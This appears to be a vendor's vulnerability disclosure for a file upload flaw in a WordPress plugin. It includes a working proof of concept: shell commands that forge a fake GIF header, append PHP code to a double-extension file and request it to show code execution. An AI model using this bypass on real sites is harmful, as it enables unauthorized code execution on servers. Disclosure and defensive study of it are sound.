The WordPress User Submitted Posts plugin, which has 30,000+ active installations, was prone to an arbitrary file upload vulnerability in version 20190426 and below that could allow an unauthenticated user to upload and run a PHP script.
While securing a customer’s WordPress blog, I noticed that there were a few pending updates available and, among them, one for the User Submitted Posts plugin. It looked like a security issue was reported by someone and fixed by the author in the new version 20190426:
The changes seemed to confirm that:
There was a vulnerability in the previous versions of the plugin that allowed an unauthenticated user to upload a PHP script by using its “Image Uploads” feature, which was supposed to allow image files only.
But I was skeptical about the fact that the new code, which was just checking for a *.php
extension, was enough to solve the issue. One very simple way to bypass that is to use a double extension such as script.php.gif
. On a server using Apache with PHP FastCGI, the file will be forwarded to and executed by the PHP interpreter. Note that such trick won’t work on a server running PHP-FPM. We already have seen similar issues, for instance last year with the zero-day vulnerability in the WordPress LearnDash LMS plugin.
To sanitize the file name, developers can use the WordPress sanitize_file_name()
function that will turn script.php.gif
into script.php_.gif
.
When uploading a file, the plugin will perform various checks in the usp_check_images()
function located in the user-submitted-posts.php script in order to verify if the file is an image: check its type, its size etc:
for ($i = 0; $i < $file_count; $i++) { $image = @getimagesize($temp[$i]); if (false === $image) { $error[] = 'file-type'; break; } else { if (isset($temp[$i]) && !exif_imagetype($temp[$i])) { $error[] = 'file-type'; break; } if (isset($image[0]) && !usp_width_min($image[0])) { $error[] = 'width-min'; break; } if (isset($image[0]) && !usp_width_max($image[0])) { $error[] = 'width-max'; break; } if (isset($image[1]) && !usp_height_min($image[1])) { $error[] = 'height-min'; break; } if (isset($image[1]) && !usp_height_max($image[1])) { $error[] = 'height-max'; break; } if (isset($errr[$i]) && $errr[$i] > 0) { error_log('WP Plugin USP: File error message '. $errr[$i] .'. Info @ http://bit.ly/2uTJc4D', 0); $error[] = 'file-error'; break; } } }
It will use the exif_imagetype()
and getimagesize()
functions to make sure the uploaded file is a valid image, or will throw a “‘File type not allowed (please upload images only)” error message otherwise. The problem is if those two PHP functions are fine to get information about known and trusted files, they aren’t suitable for validating untrusted sources such as uploaded files.
Because they are both too often wrongly used, let’s see exactly how they work and why you should avoid to use them on unstrusted input. PHP being open-source, the best way to see that is to check its source code:
exif_imagetype()
This function is located in the ext/exif/exif.c file and calls the php_getimagetype()
function located in ext/standard/image.c:
/* file type markers */ PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'}; ... ... /* {{{ php_imagetype detect filetype from first bytes */ PHPAPI int php_getimagetype(php_stream * stream, char *filetype) { char tmp[12]; int twelve_bytes_read; if ( !filetype) filetype = tmp; if((php_stream_read(stream, filetype, 3)) != 3) { php_error_docref(NULL, E_NOTICE, "Read error!"); return IMAGE_FILETYPE_UNKNOWN; } /* BYTES READ: 3 */ if (!memcmp(filetype, php_sig_gif, 3)) { return IMAGE_FILETYPE_GIF;
All it does it to read the first three bytes of the file to determine its type: if it is “GIF” it will return “1” (IMAGE_FILETYPE_GIF). To bypass this function, we can simply create a 3-byte file:
$ echo 'GIF' > script.php.gif
To test if it works:
$ php -r 'echo exif_imagetype("script.php.gif");' 1
Success!
getimagesize()
This function is located in ext/standard/image.c too and, when dealing with GIF images, will call php_handle_gif()
:
/* {{{ php_handle_gif * routine to handle GIF files. If only everything were that easy... ;} */ static struct gfxinfo *php_handle_gif (php_stream * stream) { struct gfxinfo *result = NULL; unsigned char dim[5]; if (php_stream_seek(stream, 3, SEEK_CUR)) return NULL; if (php_stream_read(stream, (char*)dim, sizeof(dim)) != sizeof(dim)) return NULL; result = (struct gfxinfo *) ecalloc(1, sizeof(struct gfxinfo)); result->width = (unsigned int)dim[0] | (((unsigned int)dim[1])<<8); result->height = (unsigned int)dim[2] | (((unsigned int)dim[3])<<8); result->bits = dim[4]&0x80 ? ((((unsigned int)dim[4])&0x07) + 1) : 0; result->channels = 3; /* always */ return result; }
When entering this routine, PHP has already checked the first three bytes (GIF) and will skip the next three ones (one byte from the SignatureHi, a word from the SignatureLo). It will check the following two bytes (image width), the next two ones (image height) and then the next byte (Global Color Table flags) and will stop. Therefore we can bypass that function by forging a fake 11-byte GIF image. In the following example, I’m setting the width and height to 100 pixels (0x0064) because, by default, User Submitted Posts will not accept values higher than 1500×1500 pixels:
$ printf 'GIF89a\x64\x00\x64\x00\x80' > script.php.gif
To test if it works:
$ php -r 'print_r( getimagesize("script.php.gif") );' Array ( [0] => 100 [1] => 100 [2] => 1 [3] => width="100" height="100" [bits] => 1 [channels] => 3 [mime] => image/gif )
Success again!
As you can see, those two functions are really not suitable for user input validation.
Proof of Concept
Append some PHP code to the above fake script.php.gif
image:
$ printf '<?php echo "\\nPHP ". PHP_SAPI ." on ". php_uname();' >> script.php.gif
Upload the file using User Submitted Posts form. It will be saved to the /wp-content/uploads/YYYY/MM/ folder:
$ curl http://example.com/wp-content/uploads/2019/04/script.php.gif GIF89add� PHP cgi-fcgi on Linux deb 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64
Timeline
The vulnerability was discovered and reported to the wordpress.org team on April 27, 2019.
Recommendations
Update as soon as possible if you have version 20190426 or below installed.
If you are using our web application firewall for WordPress, NinjaFirewall WP Edition (free) and NinjaFirewall WP+ Edition (premium), you are protected. NinjaFirewall protects proactively against this type of vulnerability.
Stay informed about the latest vulnerabilities in WordPress plugins and themes: @nintechnet